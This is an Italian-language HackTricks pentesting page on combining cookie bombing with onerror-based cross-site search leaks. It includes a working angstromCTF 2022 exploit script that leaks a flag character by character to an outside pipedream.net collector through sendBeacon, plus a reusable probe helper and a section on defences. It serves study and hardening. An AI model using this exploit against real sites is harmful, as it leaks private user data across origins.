hacktricks/src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md

127 lines
7.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Cookie Bomb + Onerror XS Leak
{{#include ../../banners/hacktricks-training.md}}
Questa tecnica combina:
- Cookie bombing: riempire il browser della vittima con molti/grandi cookies per l'origine target in modo che le richieste successive raggiungano i limiti del server/della richiesta (dimensione degli header della richiesta, lunghezza dell'URL nei redirect, ecc.).
- Error-event oracle: sondare un endpoint cross-origin con un <script> (o un'altra subresource) e distinguere gli stati usando onload vs onerror.
Idea ad alto livello
- Trova un endpoint target il cui comportamento differisce per due stati che vuoi testare (es., ricerca “hit” vs “miss”).
- Assicurati che il percorso “hit” scateni una catena di redirect pesante o un URL lungo mentre il percorso “miss” rimanga corto. Gonfia gli header della richiesta usando molti cookies in modo che solo il percorso “hit” faccia sì che il server fallisca con un errore HTTP (es., 431/414/400). L'errore innesca l'evento onerror e diventa un oracle per XS-Search.
Quando funziona
- Puoi far sì che il browser della vittima invii cookies al target (es., i cookies sono SameSite=None oppure puoi impostarli in un contesto first-party tramite un popup window.open).
- C'è una funzionalità dell'app che puoi abusare per impostare cookies arbitrari (es., endpoint “save preference” che trasformano input controllati in Set-Cookie) oppure per effettuare redirect post-auth che incorporano dati controllati dall'attaccante nell'URL.
- Il server reagisce diversamente nei due stati e, con header/URL gonfiati, uno degli stati oltrepassa un limite e restituisce una risposta di errore che innesca onerror.
Nota sugli errori del server usati come oracle
- 431 Request Header Fields Too Large viene comunemente restituito quando i cookies gonfiano gli header della richiesta; 414 URI Too Long o un 400 specifico del server possono essere restituiti per target di richiesta lunghi. Qualsiasi di questi provoca il fallimento del caricamento della subresource e fa scattare onerror. [MDN documents 431 and typical causes like excessive cookies.]()
Esempio pratico (angstromCTF 2022)
Lo script seguente (tratto da un writeup pubblico) abusa di una funzionalità che permette all'attaccante di inserire cookies arbitrari, poi carica un endpoint di ricerca cross-origin come script. Quando la query è corretta, il server esegue un redirect che, insieme al gonfiore dei cookies, supera i limiti del server e restituisce uno status di errore, quindi script.onerror viene eseguito; altrimenti non succede nulla.
```html
<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
<input id="f" /><input name="search" value="a" />
</form>
<script>
const $ = document.querySelector.bind(document)
const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
let i = 0
const stuff = async (len = 3500) => {
let name = Math.random()
$("form").target = name
let w = window.open("", name)
$("#f").value = "_".repeat(len)
$("#f").name = i++
$("form").submit()
await sleep(100)
}
const isError = async (url) => {
return new Promise((r) => {
let script = document.createElement("script")
script.src = url
script.onload = () => r(false)
script.onerror = () => r(true)
document.head.appendChild(script)
})
}
const search = (query) => {
return isError(
"https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
)
}
const alphabet =
"etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
const url = "//en4u1nbmyeahu.x.pipedream.net/"
let known = "actf{"
window.onload = async () => {
navigator.sendBeacon(url + "?load")
await Promise.all([stuff(), stuff(), stuff(), stuff()])
await stuff(1600)
navigator.sendBeacon(url + "?go")
while (true) {
for (let c of alphabet) {
let query = known + c
if (await search(query)) {
navigator.sendBeacon(url, query)
known += c
break
}
}
}
}
</script>
```
Perché il popup (window.open)?
- I browser moderni bloccano sempre più i third-party cookies. Aprire una top-level window verso il target rende i cookie firstparty, quindi le risposte Set-Cookie dal target rimarranno attive, abilitando il cookie-bomb step anche con restrizioni sui third-party cookies.
Helper di probing generico
Se hai già un modo per impostare molti cookie sull'origin target (first-party), puoi riutilizzare questa minimal oracle contro qualsiasi endpoint il cui successo/fallimento porti a diversi esiti di rete (status/MIME/redirect):
```js
function probeError(url) {
return new Promise((resolve) => {
const s = document.createElement('script');
s.src = url;
s.onload = () => resolve(false); // loaded successfully
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
document.head.appendChild(s);
});
}
```
Consigli per costruire l'oracolo
- Forza lo stato “positivo” a essere più pesante: concatena un redirect aggiuntivo solo quando la condizione è vera, oppure fai in modo che l'URL di redirect rifletta input utente illimitato in modo che cresca col prefisso indovinato.
- Inflate headers: ripeti il cookie bombing finché non si osserva un errore consistente nel percorso “pesante”. I server comunemente limitano la dimensione degli header e falliranno prima quando sono presenti molti cookie.
- Stabilizza: avvia più operazioni parallele di impostazione cookie e esegui sonde ripetute per mediere il rumore di timing e caching.
Related XS-Search tricks
- Oracoli basati sulla lunghezza dell'URL (non servono cookie) possono essere combinati o usati in alternativa quando puoi forzare un target di richiesta molto lungo:
{{#ref}}
url-max-length-client-side.md
{{#endref}}
Difese e hardening
- Rendi le risposte di successo/fallimento indistinguibili:
- Evita redirect condizionali o grandi differenze nella dimensione della risposta tra gli stati. Restituisci lo stesso status, lo stesso content type e una lunghezza del body simile indipendentemente dallo stato.
- Blocca le sonde su subresource cross-site:
- SameSite cookies: imposta i cookie sensibili su SameSite=Lax o Strict in modo che le richieste di subresource come <script src> non li trasportino; preferisci Strict per i token di autenticazione quando possibile.
- Fetch Metadata: applica una Resource Isolation Policy per rifiutare i caricamenti di subresource cross-site (es. se Sec-Fetch-Site != same-origin/same-site).
- Cross-Origin-Resource-Policy (CORP): imposta CORP: same-origin (o almeno same-site) per endpoint che non devono essere incorporati come cross-origin subresources.
- X-Content-Type-Options: nosniff e Content-Type corretto sugli endpoint JSON/HTML per evitare quirks di load-as-script.
- Riduci l'amplificazione di header/URL:
- Limita il numero/la dimensione dei cookie impostati; sanitizza le funzionalità che trasformano campi di form arbitrari in Set-Cookie.
- Normalizza o tronca i dati riflessi nei redirect; evita di incorporare stringhe lunghe controllate dall'attaccante nelle Location URL.
- Mantieni limiti server consistenti e fai fallire in modo uniforme (evita pagine di errore speciali solo per un ramo).
Note
- Questa classe di attacchi è discussa ampiamente come “Error Events” in XS-Leaks. Il passaggio del cookie-bomb è solo un modo comodo per spingere un solo ramo oltre i limiti del server, producendo un oracolo booleano affidabile.
## Riferimenti
- XS-Leaks: Error Events (onerror/onload come oracolo): https://xsleaks.dev/docs/attacks/error-events/
- MDN: 431 Request Header Fields Too Large (comune con molti cookie): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
{{#include ../../banners/hacktricks-training.md}}